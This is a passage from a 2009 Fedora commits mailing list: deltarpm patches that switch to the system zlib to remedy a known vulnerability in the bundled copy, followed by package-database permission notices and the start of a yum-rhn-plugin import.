   deflateEnd(&cstrm[0]);
+#ifdef Z_RSYNCABLE
   deflateEnd(&cstrm[1]);
+#endif
   inflateEnd(&dstrm);
   f->bufN = -1;
   f->strm.gz.avail_in = 0;
@@ -877,16 +923,6 @@ cfile_detect_rsync(struct cfile *f)
   return comp == -1 ? -1 : 0;
 }
 
-#else
-
-int
-cfile_detect_rsync(struct cfile *f)
-{
-  return -1;
-}
-
-#endif
-
 /*****************************************************************
  *  our open function
  */


Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/F-10/deltarpm.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- deltarpm.spec	14 Jul 2008 04:02:25 -0000	1.13
+++ deltarpm.spec	1 Oct 2009 06:25:55 -0000	1.14
@@ -1,7 +1,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.4
-Release: 11%{?dist}
+Release: 11%{?dist}.1
 License: BSD
 Group: System Environment/Base
 URL: http://www.novell.com/products/linuxpackages/professional/deltarpm.html
@@ -10,11 +10,14 @@ Source: ftp://ftp.suse.com/pub/projects/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: bzip2-devel, rpm-devel, popt-devel
+BuildRequires: zlib-devel
 
 Patch0: deltarpm-3.4-multilib-workaround.patch
 Patch1: deltarpm-3.4-multilib-include-colored.patch
 Patch2: deltarpm-3.4-prelink-bugfix.patch
 Patch3: deltarpm-3.4-skipmd5.patch
+# Build with system zlib
+Patch5: deltarpm-system-zlib.patch
 
 %description
 A deltarpm contains the difference between an old
@@ -29,10 +32,13 @@ deltarpms can also work with installed r
 %patch1 -p1 -b .multicolor
 %patch2 -p1 -b .prelink
 %patch3 -p1 -b .skipmd5
+# Build with system zlib
+%patch5 -p1 -b .zlib
 
 %build
 %{__make} %{?_smp_mflags} CFLAGS="$RPM_OPT_FLAGS" \
-    bindir=%{_bindir} mandir=%{_mandir} prefix=%{_prefix}
+    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} \
+    zlibbundled='' zlibldflags='-lz' zlibcppflags=''
 
 %install
 %{__rm} -rf %{buildroot}
@@ -55,6 +61,12 @@ deltarpms can also work with installed r
 %{_bindir}/rpmdumpheader
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-11.1
+- Build against the system zlib, not the bundled library.  This remedies the
+  fact that the included zlib is affected by CAN-2005-1849.
+- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
+  of making rsync-friendly compressed files.
+
 * Sun Jul 13 2008 Jonathan Dieter <jdieter at gmail.com> - 3.4-11
 - Rebuild for rpm 4.6
 



From toshio at fedoraproject.org  Thu Oct  1 06:31:51 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 06:31:51 +0000 (UTC)
Subject: rpms/deltarpm/EL-5 deltarpm-system-zlib.patch, NONE,
	1.1 deltarpm.spec, 1.11, 1.12
Message-ID: <20091001063151.4D85B11C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15325

Modified Files:
	deltarpm.spec 
Added Files:
	deltarpm-system-zlib.patch 
Log Message:

* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-8.1
- Build against the system zlib, not the bundled library.  This remedies the
  fact that the included zlib is affected by CAN-2005-1849.
- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
  of making rsync-friendly compressed files.


deltarpm-system-zlib.patch:
 Makefile |   21 ++++++++++++---------
 cfile.c  |   60 ++++++++++++++++++++++++++++++++++++++++++++++++------------
 2 files changed, 60 insertions(+), 21 deletions(-)

--- NEW FILE deltarpm-system-zlib.patch ---
Index: deltarpm-3.4/Makefile
===================================================================
--- deltarpm-3.4.orig/Makefile
+++ deltarpm-3.4/Makefile
@@ -3,29 +3,32 @@ bindir=$(prefix)/bin
 mandir=$(prefix)/man
 rpmdumpheader=$(bindir)/rpmdumpheader
 zlibdir=zlib-1.2.2.f-rsyncable
+zlibbundled=$(zlibdir)/libz.a
+zlibldflags=$(zlibbundled)
+zlibcppflags=-I$(zlibdir)
 CFLAGS = -O2 -Wall -g
-CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" -I$(zlibdir)
-LDLIBS = -lbz2 $(zlibdir)/libz.a
+CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" $(zlibcppflags)
+LDLIBS = -lbz2 $(zlibldflags)
 LDFLAGS =
 
 all: makedeltarpm applydeltarpm rpmdumpheader makedeltaiso applydeltaiso combinedeltarpm fragiso
 
-makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibdir)/libz.a
+makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibbundled)
 
-applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibdir)/libz.a
+applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibbundled)
 
-combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibdir)/libz.a
+combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibbundled)
 
 rpmdumpheader: rpmdumpheader.o
 	$(CC) $(LDFLAGS) $^ -lrpm -o $@
 
-makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibdir)/libz.a
+makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibbundled)
 
-applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibdir)/libz.a
+applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibbundled)
 
-fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibdir)/libz.a
+fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibbundled)
 
-$(zlibdir)/libz.a:
+$(zlibbundled):
 	cd $(zlibdir) ; make CFLAGS="$(CFLAGS)" libz.a
 
 clean:
Index: deltarpm-3.4/cfile.c
===================================================================
--- deltarpm-3.4.orig/cfile.c
+++ deltarpm-3.4/cfile.c
@@ -712,8 +712,6 @@ crunread_un(struct cfile *f, void *buf, 
 }
 
 
-#ifdef Z_RSYNCABLE
-
 int
 cfile_detect_rsync(struct cfile *f)
 {
@@ -743,10 +741,22 @@ cfile_detect_rsync(struct cfile *f)
     }
   for (i = 0; i < 2; i++)
     {
+#ifndef Z_RSYNCABLE
+      /* Rsync friendly zlib not available, don't set up a compressor for it
+       * */
+      if (i)
+	{
+	  break;
+	}
+#endif
       cstrm[i].zalloc = 0;
       cstrm[i].zfree = 0;
       cstrm[i].opaque = 0;
+#ifdef Z_RSYNCABLE
       if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
+#else
+      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY) != Z_OK)
+#endif
 	{
 	  if (i)
 	    deflateEnd(&cstrm[0]);
@@ -788,6 +798,23 @@ cfile_detect_rsync(struct cfile *f)
 		{
 		  for (i = 0; i < 2 && !done; i++)
 		    {
+#ifndef Z_RSYNCABLE
+		      /* No rsync friendly zlib so we can only test against
+		       * COMP_GZ.  This is suboptimal as it's only when we
+		       * run into an error that we can cut to the end.  So
+		       * we're forced to uncompress and recompress the whole
+		       * output.  Need to determine if we can determine that
+		       * we used the other algorithm is being used after
+		       * decompressing a certain amount of blocks.  Perhaps
+		       * after RSYNC_WIN or MAX_DIST blocks have been
+		       * decompressed we can know whether COMP_GZ_RSYNC was
+		       * used?
+		       */
+		      if (i)
+			{
+			    break;
+			}
+#endif
 		      cstrm[i].avail_in = sizeof(dbuf) - dstrm.avail_out;
 		      cstrm[i].next_in = dbuf;
 		      while (cstrm[i].avail_in)
@@ -795,14 +822,23 @@ cfile_detect_rsync(struct cfile *f)
 			  cstrm[i].avail_out = sizeof(cbuf);
 			  cstrm[i].next_out = cbuf;
 			  ret = deflate(&cstrm[i], dret == Z_STREAM_END ? Z_FINISH : Z_NO_FLUSH);
+			  /* Any errors in compressing, set to the other
+			   * compression algorithm
+			   */
 			  if (ret != Z_OK && ret != Z_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
 			      done = 1;
 			      break;
 			    }
+			  /* if compression yielded something
+			   */
 			  if (cstrm[i].avail_out != sizeof(cbuf))
 			    {
+			      /* If the newly compressed block is not equal to
+			       * the original compressed payload, set to the
+			       * opposite compression algorithm
+			       */
 			      if (memcmp(b + p[i], cbuf, sizeof(cbuf) - cstrm[i].avail_out))
 				{
 				  comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -811,6 +847,14 @@ cfile_detect_rsync(struct cfile *f)
 				}
 			      p[i] += sizeof(cbuf) - cstrm[i].avail_out;
 			    }
+			  /* If the input stream is not empty but the
+			   * compressor says that the stream is empty we have
+			   * an error.  Set to the opposite compression
+			   * algorithm.
+			   *
+			   * Note -- This code looks wrong:
+			   * Should be Z_STREAM_END, not BZ_STREAM_END
+			   */
 			  if (cstrm[i].avail_in && ret == BZ_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -835,7 +879,9 @@ cfile_detect_rsync(struct cfile *f)
       b = b2;
     }
   deflateEnd(&cstrm[0]);
+#ifdef Z_RSYNCABLE
   deflateEnd(&cstrm[1]);
+#endif
   inflateEnd(&dstrm);
   f->bufN = -1;
   f->strm.gz.avail_in = 0;
@@ -877,16 +923,6 @@ cfile_detect_rsync(struct cfile *f)
   return comp == -1 ? -1 : 0;
 }
 
-#else
-
-int
-cfile_detect_rsync(struct cfile *f)
-{
-  return -1;
-}
-
-#endif
-
 /*****************************************************************
  *  our open function
  */


Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/EL-5/deltarpm.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- deltarpm.spec	3 Jan 2008 07:36:51 -0000	1.11
+++ deltarpm.spec	1 Oct 2009 06:31:51 -0000	1.12
@@ -1,7 +1,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.4
-Release: 8%{?dist}
+Release: 8%{?dist}.1
 License: BSD
 Group: System Environment/Base
 URL: http://www.novell.com/products/linuxpackages/professional/deltarpm.html
@@ -10,11 +10,14 @@ Source: ftp://ftp.suse.com/pub/projects/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: bzip2-devel, rpm-devel, popt
+BuildRequires: zlib-devel
 
 Patch0: deltarpm-3.4-multilib-workaround.patch
 Patch1: deltarpm-3.4-multilib-include-colored.patch
 Patch2: deltarpm-3.4-prelink-bugfix.patch
 Patch3: deltarpm-3.4-no-skip-doc.patch
+# Build with system zlib
+Patch5: deltarpm-system-zlib.patch
 
 %description
 A deltarpm contains the difference between an old
@@ -29,10 +32,13 @@ deltarpms can also work with installed r
 %patch1 -p1 -b .multicolor
 %patch2 -p1 -b .prelink
 %patch3 -p1 -b .nodoc
+# Build with system zlib
+%patch5 -p1 -b .zlib
 
 %build
 %{__make} %{?_smp_mflags} CFLAGS="$RPM_OPT_FLAGS" \
-    bindir=%{_bindir} mandir=%{_mandir} prefix=%{_prefix}
+    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} \
+    zlibbundled='' zlibldflags='-lz' zlibcppflags=''
 
 %install
 %{__rm} -rf %{buildroot}
@@ -55,6 +61,12 @@ deltarpms can also work with installed r
 %{_bindir}/rpmdumpheader
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-8.1
+- Build against the system zlib, not the bundled library.  This remedies the
+  fact that the included zlib is affected by CAN-2005-1849.
+- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
+  of making rsync-friendly compressed files.
+
 * Wed Aug 29 2007 Jonathan Dieter <jdieter at gmail.com> - 3.4.6
 - Bring in popt-devel in BuildRequires to fix build in x86_64
 



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:35 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063335.5580710F8B4@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on dansguardian (Fedora devel) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:36 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063336.1381310F8B8@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on dansguardian (Fedora devel) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:37 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063338.10A0610F8F3@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on dansguardian (Fedora devel) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:42 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063342.1E3F410F8B9@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on dansguardian (Fedora 10) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:43 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063343.62CB010F8FB@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on dansguardian (Fedora 10) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:44 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063344.9492310F8FD@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on dansguardian (Fedora 10) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:47 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063347.95D9910F900@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on dansguardian (Fedora 11) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:48 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063348.9CA9310F903@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on dansguardian (Fedora 11) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:49 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063349.537B510F906@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on dansguardian (Fedora 11) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:51 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063351.9C10F10F908@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on dansguardian (Fedora 12) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:52 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063352.5608510F90A@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on dansguardian (Fedora 12) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From pkgdb at fedoraproject.org  Thu Oct  1 06:33:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 06:33:53 +0000
Subject: [pkgdb] dansguardian had acl change status
Message-ID: <20091001063353.E970510F8BD@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on dansguardian (Fedora 12) to Approved for steve

To make changes to this package see:
  /pkgdb/packages/name/dansguardian



From toshio at fedoraproject.org  Thu Oct  1 06:34:36 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 06:34:36 +0000 (UTC)
Subject: rpms/deltarpm/EL-4 deltarpm-system-zlib.patch, NONE,
	1.1 deltarpm.spec, 1.11, 1.12
Message-ID: <20091001063436.647BE11C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16031

Modified Files:
	deltarpm.spec 
Added Files:
	deltarpm-system-zlib.patch 
Log Message:

* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-8.1
- Build against the system zlib, not the bundled library.  This remedies the
  fact that the included zlib is affected by CAN-2005-1849.
- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
  of making rsync-friendly compressed files.


deltarpm-system-zlib.patch:
 Makefile |   21 ++++++++++++---------
 cfile.c  |   60 ++++++++++++++++++++++++++++++++++++++++++++++++------------
 2 files changed, 60 insertions(+), 21 deletions(-)

--- NEW FILE deltarpm-system-zlib.patch ---
Index: deltarpm-3.4/Makefile
===================================================================
--- deltarpm-3.4.orig/Makefile
+++ deltarpm-3.4/Makefile
@@ -3,29 +3,32 @@ bindir=$(prefix)/bin
 mandir=$(prefix)/man
 rpmdumpheader=$(bindir)/rpmdumpheader
 zlibdir=zlib-1.2.2.f-rsyncable
+zlibbundled=$(zlibdir)/libz.a
+zlibldflags=$(zlibbundled)
+zlibcppflags=-I$(zlibdir)
 CFLAGS = -O2 -Wall -g
-CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" -I$(zlibdir)
-LDLIBS = -lbz2 $(zlibdir)/libz.a
+CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" $(zlibcppflags)
+LDLIBS = -lbz2 $(zlibldflags)
 LDFLAGS =
 
 all: makedeltarpm applydeltarpm rpmdumpheader makedeltaiso applydeltaiso combinedeltarpm fragiso
 
-makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibdir)/libz.a
+makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibbundled)
 
-applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibdir)/libz.a
+applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibbundled)
 
-combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibdir)/libz.a
+combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibbundled)
 
 rpmdumpheader: rpmdumpheader.o
 	$(CC) $(LDFLAGS) $^ -lrpm -o $@
 
-makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibdir)/libz.a
+makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibbundled)
 
-applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibdir)/libz.a
+applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibbundled)
 
-fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibdir)/libz.a
+fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibbundled)
 
-$(zlibdir)/libz.a:
+$(zlibbundled):
 	cd $(zlibdir) ; make CFLAGS="$(CFLAGS)" libz.a
 
 clean:
Index: deltarpm-3.4/cfile.c
===================================================================
--- deltarpm-3.4.orig/cfile.c
+++ deltarpm-3.4/cfile.c
@@ -712,8 +712,6 @@ crunread_un(struct cfile *f, void *buf, 
 }
 
 
-#ifdef Z_RSYNCABLE
-
 int
 cfile_detect_rsync(struct cfile *f)
 {
@@ -743,10 +741,22 @@ cfile_detect_rsync(struct cfile *f)
     }
   for (i = 0; i < 2; i++)
     {
+#ifndef Z_RSYNCABLE
+      /* Rsync friendly zlib not available, don't set up a compressor for it
+       * */
+      if (i)
+	{
+	  break;
+	}
+#endif
       cstrm[i].zalloc = 0;
       cstrm[i].zfree = 0;
       cstrm[i].opaque = 0;
+#ifdef Z_RSYNCABLE
       if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
+#else
+      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY) != Z_OK)
+#endif
 	{
 	  if (i)
 	    deflateEnd(&cstrm[0]);
@@ -788,6 +798,23 @@ cfile_detect_rsync(struct cfile *f)
 		{
 		  for (i = 0; i < 2 && !done; i++)
 		    {
+#ifndef Z_RSYNCABLE
+		      /* No rsync friendly zlib so we can only test against
+		       * COMP_GZ.  This is suboptimal as it's only when we
+		       * run into an error that we can cut to the end.  So
+		       * we're forced to uncompress and recompress the whole
+		       * output.  Need to determine if we can determine that
+		       * we used the other algorithm is being used after
+		       * decompressing a certain amount of blocks.  Perhaps
+		       * after RSYNC_WIN or MAX_DIST blocks have been
+		       * decompressed we can know whether COMP_GZ_RSYNC was
+		       * used?
+		       */
+		      if (i)
+			{
+			    break;
+			}
+#endif
 		      cstrm[i].avail_in = sizeof(dbuf) - dstrm.avail_out;
 		      cstrm[i].next_in = dbuf;
 		      while (cstrm[i].avail_in)
@@ -795,14 +822,23 @@ cfile_detect_rsync(struct cfile *f)
 			  cstrm[i].avail_out = sizeof(cbuf);
 			  cstrm[i].next_out = cbuf;
 			  ret = deflate(&cstrm[i], dret == Z_STREAM_END ? Z_FINISH : Z_NO_FLUSH);
+			  /* Any errors in compressing, set to the other
+			   * compression algorithm
+			   */
 			  if (ret != Z_OK && ret != Z_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
 			      done = 1;
 			      break;
 			    }
+			  /* if compression yielded something
+			   */
 			  if (cstrm[i].avail_out != sizeof(cbuf))
 			    {
+			      /* If the newly compressed block is not equal to
+			       * the original compressed payload, set to the
+			       * opposite compression algorithm
+			       */
 			      if (memcmp(b + p[i], cbuf, sizeof(cbuf) - cstrm[i].avail_out))
 				{
 				  comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -811,6 +847,14 @@ cfile_detect_rsync(struct cfile *f)
 				}
 			      p[i] += sizeof(cbuf) - cstrm[i].avail_out;
 			    }
+			  /* If the input stream is not empty but the
+			   * compressor says that the stream is empty we have
+			   * an error.  Set to the opposite compression
+			   * algorithm.
+			   *
+			   * Note -- This code looks wrong:
+			   * Should be Z_STREAM_END, not BZ_STREAM_END
+			   */
 			  if (cstrm[i].avail_in && ret == BZ_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -835,7 +879,9 @@ cfile_detect_rsync(struct cfile *f)
       b = b2;
     }
   deflateEnd(&cstrm[0]);
+#ifdef Z_RSYNCABLE
   deflateEnd(&cstrm[1]);
+#endif
   inflateEnd(&dstrm);
   f->bufN = -1;
   f->strm.gz.avail_in = 0;
@@ -877,16 +923,6 @@ cfile_detect_rsync(struct cfile *f)
   return comp == -1 ? -1 : 0;
 }
 
-#else
-
-int
-cfile_detect_rsync(struct cfile *f)
-{
-  return -1;
-}
-
-#endif
-
 /*****************************************************************
  *  our open function
  */


Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/EL-4/deltarpm.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- deltarpm.spec	3 Jan 2008 07:32:34 -0000	1.11
+++ deltarpm.spec	1 Oct 2009 06:34:36 -0000	1.12
@@ -1,7 +1,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.4
-Release: 8%{?dist}
+Release: 8%{?dist}.1
 License: BSD
 Group: System Environment/Base
 URL: http://www.novell.com/products/linuxpackages/professional/deltarpm.html
@@ -10,11 +10,14 @@ Source: ftp://ftp.suse.com/pub/projects/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: bzip2-devel, rpm-devel, popt
+BuildRequires: zlib-devel
 
 Patch0: deltarpm-3.4-multilib-workaround.patch
 Patch1: deltarpm-3.4-multilib-include-colored.patch
 Patch2: deltarpm-3.4-prelink-bugfix.patch
 Patch3: deltarpm-3.4-no-skip-doc.patch
+# Build with system zlib
+Patch5: deltarpm-system-zlib.patch
 
 %description
 A deltarpm contains the difference between an old
@@ -29,10 +32,13 @@ deltarpms can also work with installed r
 %patch1 -p1 -b .multicolor
 %patch2 -p1 -b .prelink
 %patch3 -p1 -b .nodoc
+# Build with system zlib
+%patch5 -p1 -b .zlib
 
 %build
 %{__make} %{?_smp_mflags} CFLAGS="$RPM_OPT_FLAGS" \
-    bindir=%{_bindir} mandir=%{_mandir} prefix=%{_prefix}
+    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} \
+    zlibbundled='' zlibldflags='-lz' zlibcppflags=''
 
 %install
 %{__rm} -rf %{buildroot}
@@ -55,6 +61,12 @@ deltarpms can also work with installed r
 %{_bindir}/rpmdumpheader
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-8.1
+- Build against the system zlib, not the bundled library.  This remedies the
+  fact that the included zlib is affected by CAN-2005-1849.
+- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
+  of making rsync-friendly compressed files.
+
 * Wed Aug 29 2007 Jonathan Dieter <jdieter at gmail.com> - 3.4.6
 - Bring in popt-devel in BuildRequires to fix build in x86_64
 



From msuchy at fedoraproject.org  Thu Oct  1 07:09:04 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Thu,  1 Oct 2009 07:09:04 +0000 (UTC)
Subject: rpms/yum-rhn-plugin/devel import.log, NONE, 1.1 yum-rhn-plugin.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001070904.54C6F11C00C1@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/yum-rhn-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21910/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log yum-rhn-plugin.spec 
Log Message:
initial import of yum-rhn-plugin



--- NEW FILE import.log ---
yum-rhn-plugin-0_7_6-1:HEAD:yum-rhn-plugin-0.7.6-1.src.rpm:1254380904


--- NEW FILE yum-rhn-plugin.spec ---
Summary: RHN support for yum
Name: yum-rhn-plugin
Version: 0.7.6
Release: 1%{?dist}
License: GPLv2
Group: System Environment/Base
Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
URL:     https://fedorahosted.org/spacewalk
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch: noarch
BuildRequires: python
BuildRequires: intltool
BuildRequires: gettext

Requires: yum >= 3.2.19-15
Requires: rhn-client-tools >= 0.4.19-9
Requires: m2crypto >= 0.16-6

# Not really, but for upgrades we need these
